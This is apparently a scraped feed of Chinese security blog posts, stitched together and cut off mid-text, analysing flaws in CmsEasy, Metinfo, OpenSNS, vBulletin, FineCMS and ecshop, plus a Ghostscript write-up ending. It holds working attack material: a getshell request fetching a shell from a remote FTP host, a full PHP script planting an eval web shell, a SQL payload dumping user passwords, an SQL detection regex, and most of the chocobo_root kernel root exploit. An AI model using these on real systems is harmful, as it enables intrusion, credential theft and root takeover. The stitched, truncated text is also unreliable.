本文我讲述了基于PostScript的基本语法与一些攻击方法,漏洞基本上都在解析器Ghostscript中,可导致远程命令执行,另外也会对ImageMagick造成一些影响。Ghostscriptlinux发行版都会自带,建议有使用GhostscriptImageMagickPS文件或者PDF文件进行处理的系统,请尽快到官方升级Ghostscript,开启-dSAFER安全模式。并请不要使用Ghostscript打开来比不明的.PS文件,需要进行格式转换的系统可对用户传入的文件进行对以上payload关键字拦截。

0x06 参考文献

https://en.wikipedia.org/wiki/PostScript

http://www.openwall.com/lists/oss-security/2016/09/30/8

http://bugs.ghostscript.com/

http://www.ghostscript.com/doc/

作者邮箱: FlyingLee95@gmail.com

CmsEasy前台无限制GetShell

$
0
0

来源:阿里先知(安全情报)

t01eb2af9f0f953435b

简要描述


CMSEasy官方在2016-10-12发布了一个补丁,描述只有两句话

前台getshell漏洞修正;

命令执行漏洞修正;

我们就根据补丁来分析一下这个前台Getshell漏洞。
漏洞详情


在补丁页面http://www.cmseasy.cn/patch/show_1116.html下载补丁CmsEasy_for_Uploads_20161012.zip

修改的文件不多,通过diff发现补丁中lib/default/tool_act.php 392行的cut_image_action()函数被注释了。

来看看这个函数

/*function cut_image_action() {
    $len = 1;
    if(config::get('base_url') != '/'){
        $len = strlen(config::get('base_url'))+1;
    }
    if(substr($_POST['pic'],0,4) == 'http'){
        front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
    }else{
        front::$post['thumb'] = substr($_POST['pic'],$len);
    }
    $thumb=new thumb();
    $thumb->set(front::$post['thumb'],'jpg');
    $img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
    $save_file='upload/images/'.date('Ym').'/'.$new_name;
    @mkdir(dirname(ROOT.'/'.$save_file));
    ob_start();
    $thumb->out_image($img,null,85);
    file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
    ob_end_clean();
    $image_url=config::get('base_url').'/'.$save_file;
    //$res['size']=ceil(strlen($img) / 1024);
    $res['code']="
                    //$('#cut_preview').attr('src','$image_url');
                    $('#thumb').val('$image_url');
                    alert(lang('save_success'));
    ";
    echo json::encode($res);
}
*/

看保存文件名的生成

$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));

不过这里利用需要一点技巧 直接用了$_POST[‘pic’]的后缀做为新文件的扩展名,应该就是这里导致的getshell。

1、图片会经过php的图像库处理,如何在处理后仍然保留shell语句

2、远程加载图片需要通过file_exists函数的验证(要知道http(s)对于file_exists来说会固定返回false)

在正常图片中插入shell并无视图像库的处理 这个freebuf有介绍 国外也有不少分析,当然直接拿freebuf的方法应该是不成功的 需要一点小小的调整
关于file_exits()函数 ftp://协议就可以绕过 wrappers中有介绍

t012bdbca2b40510d28

$len = 1;

这里构造payload还有一点需要注意的5.0.0以上 就支持file_exists()了

 

if(config::get('base_url') != '/'){
    $len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
    front::$post['thumb'] =
    str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
    front::$post['thumb'] = substr($_POST['pic'],$len);
}

所以构造的时候 如果站点不是放在根目录 则需要在前面补位strlen(base_url)+2 如果放在根目录 也需要补上1位(’/’的长度)。如果$_POST[‘pic’]开头4个字符不是http的话,就认为是本站的文件,会从前面抽取掉baseurl(等于返回文件相对路径)。

POC


POST /index.php?case=tool&act=cut_image
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

本地测试截图

t01200ea955ae02661a

Metinfo5.3.10版本Getshell

$
0
0

好久没代码审计了,今早上cheery师傅跟我说了一下这个洞,尽管这个洞已经被修复了,但是还是比较新的,看了下没那么难,就简单写下步骤:

0x01

首先看一下配置的文件include/common.inc.php

QQ图片20161108231615

发现Metinfo采用了伪全局变量的这样一个设置,那么是否会有变量覆盖之类的漏洞,grep下:

QQ图片20161108231632

0x02

觉得login那里应该会发生点什么故事XD

既然这样的话,看了下后台登录的地方:

  1. login.php
  2. login_check.php
  3. login_out.php

0x03

一共三个文件,看一下check,既然包含了common.inc.php,那么就意味着里面存在一些可控的变量:

QQ图片20161108231653QQ图片20161108232438

果不其然,对于参数并没有初始赋值,比较开心XD

研究了下发现有两种做法:

0x01:知道路径的话:

既然可以require,那么我们需要一个文件就可以执行,so,注册一下会员,看看有没有什么惊喜的东西XD

发现可以上传图片logo:

QQ图片20161108232438

 

既然这样的话,我们可以上传一个利用phar或者zip打包的文件,从而达到RCE的目的:

QQ图片20161108231722QQ图片20161108231733

然后file_put_contents或者一开始就用file_put_contents拿到一个shell。

0x02不知道路径

貌似是不能用../去代替的,如果有师傅成功的话,求交流。

在这种情况下,我们可以用php的伪协议去达到一些我们想达到的目的,不过allow_url_include默认是不开启的,所以也算有点鸡肋,不过CTF比赛可以用一下。

如果allow_url_include = on,那么我们可以利用base64让后面的../失效,从而达到RCE,具体可以自己试一下:)

OpenSNS任意文件删除+IIS6.0(getshell)

$
0
0

漏洞文件:/Application/Weibo/Controller/IndexController.class.php

public function uploadMyExp(){
 
        $flag=1;
        $uid=is_login();
        $mycollection='mycollection';
 
        $config = array(
            'maxSize' => 5*1024*1024,
            'rootPath' => './Uploads/',
            'savePath' => 'Expression/'.$mycollection.'/',
            'saveName' => '',
            'exts' => array('jpg', 'gif','png','jpeg'),
            'autoSub' => true,
            'subName' => '',
            'replace' => true,
        );
        if($_FILES['file']['size']<5*1024||$_FILES['file']['size']> 5*1024*1024){
            echo json_encode('-3');
            $flag=0;
        }
        $upload = new pload($config); // êμày»ˉéÏ′«àà
        $info = $upload->upload($_FILES);
        if (!$info) { // éÏ′«′íÎóìáê¾′íÎóDÅÏ¢
            echo json_encode('-1');
            $flag=0;
        }

获取当前登录的uid,然后获取上传的FILES进入upload
1
正常的一个流程
1
这里有一个check检测,跟进
2
对后缀进行了检测.所以我们得必须满足后面.jpg这个条件
3
文件名的控制
4
当saveName为空时则true并截取我们上传的文件名
5
最后则是检测后缀还有MIME类型,true则进入uplandfie.复现
6
为了方便我var_dump了出来
7
成功上传
任意文件删除:

$name=I('post.name','','op_t');
        $allname=substr($name,strrpos($name,'\')+1,strlen($name)-strrpos($name,'\')-1);
       // $iname=substr($allname,0,strrpos($allname,'.'));
        $rp= $this-> ROOT_PATH = str_replace('/Application/Weibo/Controller/IndexController.class.php', '', str_replace('\', '/', __FILE__));
        $path = $rp."/Uploads/Expression/" ;
        if(!file_exists($path.$mycollection)){
          mkdir($path.$mycollection,0777,true);
        }
        $path0=$rp.'/Uploads/Expression/'.$mycollection.'/'.$allname;
        $file=file_get_contents($path0);
        $map['md5']=md5($file);
       $iexp_id=$iexpression->where($map)->getField('id');
        if($iexp_id){
            $map1['iexpression_id']=$iexp_id;
            $map1['uid']=$uid;
            $res=$iexplog->where($map1)->select();
            if($res){
                echo json_encode('0');
                $iexp_path=$iexpression->where($map)->getField('path');
                if($iexp_path!="/Uploads/Expression/".$mycollection.'/'.$allname)
                {
                    unlink($path0);
                }

Post获取name并进入了op_t函数
1
可以看见这是针对安全过滤,并没有针对路径跳转过滤
2
然后进行截取,很简单的就可以绕过的一种截取
3
这里就很狗血的一段了!进入数据库查询当查询出来的内容与我们输入的内容不符合的时候则删除不符合内容

本机先新建一个文件
4
这里去请求
5
6


opensns最新版10.20无限制Getshell

$
0
0

这个洞挖了很久了官方几次更新都没修复问题。问题出现在/api/uc.php上

43-48行
        $code = @$_GET['code'];
        parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
        if(MAGIC_QUOTES_GPC) {
                $get = _stripslashes($get);
        }

变量code从get中获取后经过_authcode函数解密成字符串 赋值到变量中,如果GPC开启则stripslashes取消转义
我们再来看函数_authcode

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
        $ckey_length = 4;
 
        $key = md5($key ? $key : UC_KEY);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);
 
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);
 
        $result = '';
        $box = range(0, 255);
 
        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
                $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
 
        for($j = $i = 0; $i < 256; $i++) {
                $j = ($j + $box[$i] + $rndkey[$i]) % 256;
                $tmp = $box[$i];
                $box[$i] = $box[$j];
                $box[$j] = $tmp;
        }
 
        for($a = $j = $i = 0; $i < $string_length; $i++) {
                $a = ($a + 1) % 256;
                $j = ($j + $box[$a]) % 256;
                $tmp = $box[$a];
                $box[$a] = $box[$j];
                $box[$j] = $tmp;
                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
 
        if($operation == 'DECODE') {
                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
                        return substr($result, 26);
                } else {
                                return '';
                        }
        } else {
                return $keyc.str_replace('=', '', base64_encode($result));  //看到这就有很多小伙伴都能很清楚了我们只要知道UC_KEY的值 OK!那么就会CMS就会出现问题

而程序默认安装的UC_KEY 为123456,_authcode算法自行加密,那么所有请求几乎无视GPC。又回到/api/uc.php

239-260行
        function updateapps($get, $post) {
                if(!API_UPDATEAPPS) {
                        return API_RETURN_FORBIDDEN;
                }
                $UC_API = $post['UC_API'];
 
                //note 写 app 缓存文件
                $cachefile = $this->appdir.'./api/uc_client/data/cache/apps.php';
                $fp = fopen($cachefile, 'w');
                $s = "<?php\r\n";
                $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
                fwrite($fp, $s);
                fclose($fp);
 
                //note 写配置文件
                if(is_writeable($this->appdir.'api/config.php')) {
                        $configfile = trim(file_get_contents($this->appdir.'api/config.php'));
                        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
                        $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);  //修复漏洞  --駿濤
                        if($fp = @fopen($this->appdir.'api/config.php', 'w')) {
                                @fwrite($fp, trim($configfile));
                                @fclose($fp)

又看到这一句
$configfile = preg_replace(“/define\(‘UC_API’,\s*’.*?’\);/i”, “define(‘UC_API’, ‘”.addslashes($UC_API).”‘);”, $configfile); //修复漏洞 –駿濤
这里虽然有addslashes,但是我们写入的eval($_POST[DOM]);一句话脚本是不需要 单引号和单撇号的,所以无视函数,随意写入一句话代码

我们开启UC在/api/config.php
define(‘UC_SYNC’, 1); 设为1就为开启
Getshell

<?php
 
// 代码版权归原作者所有!
 
    $timestamp = time()+10*3600;
 
    $host="localhost";
 
    $uc_key="123456";
 
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
 
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
 
<root>
 
<item id="UC_API">http://localhost/ucenter\');eval($_POST[DOM]);//</item>
 
</root>';
 
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
 
<root>
 
<item id="UC_API">http://localhost/ucenter</item>
 
</root>';
 
    $html1 = send($cmd1);
 
    echo $html1;
 
    $html2 = send($cmd2);
 
    echo $html2;
 
 
 
 
 
function send($cmd){
 
    global $host,$code;
 
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
 
    $message .= "Accept: */*\r\n";
 
    $message .= "Referer: ".$host."\r\n";
 
    $message .= "Accept-Language: zh-cn\r\n";
 
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
 
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
 
    $message .= "Host: ".$host."\r\n";
 
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
 
    $message .= "Connection: Close\r\n\r\n";
 
    $message .= $cmd;
 
 
 
    //var_dump($message);
 
    $fp = fsockopen($host, 80);
 
    fputs($fp, $message);
 
 
 
    $resp = '';
 
 
 
    while ($fp && !feof($fp))
 
        $resp .= fread($fp, 1024);
 
 
 
    return $resp;
 
}
 
 
 
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
 
        $ckey_length = 4;
 
 
 
        $key = md5($key ? $key : UC_KEY);
 
        $keya = md5(substr($key, 0, 16));
 
        $keyb = md5(substr($key, 16, 16));
 
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
 
 
        $cryptkey = $keya.md5($keya.$keyc);
 
        $key_length = strlen($cryptkey);
 
 
 
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
 
        $string_length = strlen($string);
 
 
 
        $result = '';
 
        $box = range(0, 255);
 
 
 
        $rndkey = array();
 
        for($i = 0; $i <= 255; $i++) {
 
                $rndkey[$i] = ord($cryptkey[$i % $key_length]);
 
        }
 
 
 
        for($j = $i = 0; $i < 256; $i++) {
 
                $j = ($j + $box[$i] + $rndkey[$i]) % 256;
 
                $tmp = $box[$i];
 
                $box[$i] = $box[$j];
 
                $box[$j] = $tmp;
 
        }
 
 
 
        for($a = $j = $i = 0; $i < $string_length; $i++) {
 
                $a = ($a + 1) % 256;
 
                $j = ($j + $box[$a]) % 256;
 
                $tmp = $box[$a];
 
                $box[$a] = $box[$j];
 
                $box[$j] = $tmp;
 
                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
 
        }
 
 
 
        if($operation == 'DECODE') {
 
                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
 
                        return substr($result, 26);
 
                } else {
 
                                return '';
 
                        }
 
        } else {
 
                return $keyc.str_replace('=', '', base64_encode($result));
 
        }
 
 
 
}
 
?>

VBulletin 核心插件 forumrunner SQL注入(CVE-2016-6195)漏洞分析

$
0
0

分析所用版本4.2.1

漏洞的本质是forumrunner/includes/moderation.php文件中, do_get_spam_data()函数()对参数postids和threadid过滤不严导致SQL注入漏洞, 核心代码如下:

function do_get_spam_data (){  
    global $vbulletin, $db, $vbphrase;


    $vbulletin->input->clean_array_gpc('r', array(
    'threadid' => TYPE_STRING,
    'postids' => TYPE_STRING,
    ));


    ...


    }else if ($vbulletin->GPC['postids'] != '') {
        $postids = $vbulletin->GPC['postids'];


        $posts = $db->query_read_slave("
            SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
                thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
            FROM " . TABLE_PREFIX . "post AS post
            LEFT JOIN " . TABLE_PREFIX . "thread AS thread USING (threadid)
            WHERE postid IN ($postids)
        ");

VBulletin程序中并不直接使用$_GET等全局变量获取输入数据,而是使用clean_gpc() 和 clean_array_gpc() 函数来过滤输入数据,而这两个函数并未对STRING类型做严格过滤,而传入的参数postids是作为SRING类型解析,参数postids随后拼接在SQL语句中进行查询,导致SQL注入漏洞。
寻找调用或包含do_get_spam_data()函数的代码,发现forumrunner/support/common_methods.php

  'get_spam_data' => array(
    'include' => 'moderation.php',
    'function' => 'do_get_spam_data',
    ),

继续回溯,发现forumrunner/request.php文件包含support/common_methods.php.

...


$processed = process_input(array('cmd' => STRING, 'frv' => STRING, 'frp' => STRING));
if (!$processed['cmd']) {  
    return;
}


...


require_once(MCWD . '/support/common_methods.php');


...


if (!isset($methods[$processed['cmd']])) {  
    json_error(ERR_NO_PERMISSION);
}



if ($methods[$processed['cmd']]['include']) {  
    require_once(MCWD . '/include/' . $methods[$processed['cmd']]['include']);
}



if (isset($_REQUEST['d'])) {  
    error_reporting(E_ALL);
}

$out = call_user_func($methods[$processed['cmd']]['function']);


...

上面代码中process_input()函数(forumrunner/support/utils.php), 会从$_REQUEST中取值,进行简单的类型转换,STRING类型则原样返回,根据上面代码,可以通过$_REQUEST[‘cmd’]参数调用get_spam_data()函数, 进而调用do_get_spam_data()函数。设置$_REQUEST[‘d’]参数将打开错误报告,有助于SQL注入,当然也可以不设置$_REQUEST[‘d’]参数,这对触发SQL注入漏洞没有影响。剩下的就是使用postids参数构造SQL payload
postids参数注入

payload: forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select concat(username, 0x3a, password) from user),5,1,7,8,9,10--+

设置断点及变量取值,注入结果如下:
1
从图中可以看出SQL注入语句执行成功,$post[‘title’]变量已经获取了用户名和密码,其中forumid设置为1, 保证下面代码不会进入if条件判断语句中。

while ($post = $db->fetch_array($posts))  
    {
        $forumperms = fetch_permissions($post['forumid']);
        if  (
            !($forumperms & $vbulletin->bf_ugp_forumpermissions['canview'])
                OR
            !($forumperms & $vbulletin->bf_ugp_forumpermissions['canviewthreads'])
                OR
            (!($forumperms & $vbulletin->bf_ugp_forumpermissions['canviewothers']) AND $post['postuserid'] != $vbulletin->userinfo['userid'])
            )
        {
            json_error(ERR_NO_PERMISSION);
        }

补丁分析
includes/general_vb.php文件, fr_clean_ids函数对id类变量进行了整数转换,从而阻止SQL注入攻击。

function fr_clean_ids($list = ”)  
{
$arr = explode(‘,’,$list);
$cleanarr = array_map(‘intval’,$arr);
return implode(‘,’,$cleanarr);  
}
forumrunner/include/moderation.php文件, do_get_spam_data函数过滤$postids和$threadid 参数


$vbulletin->GPC[‘postids’] = fr_clean_ids($vbulletin->GPC[‘postids’]);


...



if ($vbulletin->GPC[‘threadid’] != ”) {  
$threadids = $vbulletin->GPC[‘threadid’];



$threadids = fr_clean_ids($threadids);


...

Author: janes(知道创宇404安全实验室),原文地址:http://paper.seebug.org/116/

FineCMS后台getshell

$
0
0

简单看了下该程序的mvc,锁定了一个可疑处,config/site.ini.php
1
与后台此处对应
1
点击添加网站
1
网站名称随便写
绑定的域名写为’,phpinfo()【注:此处为了省事仅用phpinfo作为例子,实际此处可做任何操作,只需要在’,后面添加php语句即可,可通过file_put_contents进行写入文件操作】
然后直接点击提交即可
1
然后访问/index.php?s=admin&c=site即可看到phpinfo输出的信息
1

ecshop /admin/shopinfo.php SQL注入

$
0
0

测试版本v3.0.0 RELEASE 20160518

文件/admin/shopinfo.php中107-109行

if ($_REQUEST['act'] == 'edit')
{
    /* 权限判断 */
    admin_priv('shopinfo_manage');
    /* 取得文章数据 */
    $sql = "SELECT article_id, title, content FROM ".$ecs->table('article')."WHERE article_id =".$_REQUEST['id'];
    $article = $db->GetRow($sql);

由于这里

$sql = "SELECT article_id, title, content FROM ".$ecs->table('article')."WHERE article_id =".$_REQUEST['id'];

没有对传入对id进行处理,直接带入了sql语句导致了注入的发生
1
初初查看,由于全局加载了init.php

require_once(dirname(__FILE__) . '/
');
'sql'=>"[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)",

还以为无法继续执行的。其中发现了updatexml貌似没有在其中,所以还是可以继续出内容的
1

Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) –‘AF_PACKET’条件竞争漏洞

$
0
0
/*
chocobo_root.c
linux AF_PACKET race condition exploit
exploit for Ubuntu 16.04 x86_64

vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
proc_dostring = 0xffffffff81088090
modprobe_path = 0xffffffff81e48f80
register_sysctl_table = 0xffffffff812879a0
set_memory_rw = 0xffffffff8106f320
exploit starting
making vsyscall page writable..

new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 174222, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
vsyscall page altered!


stage 1 completed
registering new sysctl..

new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 30773, last val = 0)
current packet version = 2
pbd->hdr.bh1.offset_to_first_pkt = 48
race not won

retrying stage..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 133577, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
sysctl added!

stage 2 completed
binary executed by kernel, launching rootshell
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

There are offsets included for older kernels, but they're untested
so be aware that this exploit will probably crash kernels older than 4.4.

tested on:
Ubuntu 16.04: 4.4.0-51-generic
Ubuntu 16.04: 4.4.0-47-generic
Ubuntu 16.04: 4.4.0-36-generic
Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu

Shoutouts to:
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
mcdelivery for delivering hotcakes and coffee

11/2016
by rebel
*/

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/wait.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <linux/if_packet.h>
#include <pthread.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <sys/syscall.h>
#include <signal.h>
#include <sched.h>
#include <sys/utsname.h>

volatile int barrier = 1;
volatile int vers_switcher_done = 0;

struct offset {
    char *kernel_version;
    unsigned long proc_dostring;
    unsigned long modprobe_path;
    unsigned long register_sysctl_table;
    unsigned long set_memory_rw;
};


struct offset *off = NULL;

//99% of these offsets haven't actually been tested 🙂

struct offset offsets[] = {
    {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},
    {"4.4.0-47-generic #68~14.04.1",0,0,0,0},
    {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},
    {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},
    {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},
    {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},
    {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},
    {"4.2.0-17-generic #21",0,0,0,0},
    {"4.2.0-18-generic #22",0,0,0,0},
    {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},
    {"4.2.0-21-generic #25~14.04.1",0,0,0,0},
    {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},
    {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},
    {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},
    {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},
    {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},
    {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},
    {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},
    {"4.2.0-23-generic #28",0,0,0,0},
    {"4.2.0-25-generic #30",0,0,0,0},
    {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},
    {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},
    {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},
    {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},
    {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},
    {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},
    {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},
    {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},
    {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},
    {"4.2.0-25-generic #30~14.04.1",0,0,0,0},
    {"4.2.0-23-generic #28~14.04.1",0,0,0,0},
    {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},
    {"4.4.0-47-generic #68",0,0,0,0},
    {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},
    {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},
    {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},
    {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},
    {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},
    {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},
    {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},
    {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},
    {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},
    {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},
    {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},
    {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},
    {"4.8.0-26-generic #28",0,0,0,0},
    {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},
    {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},
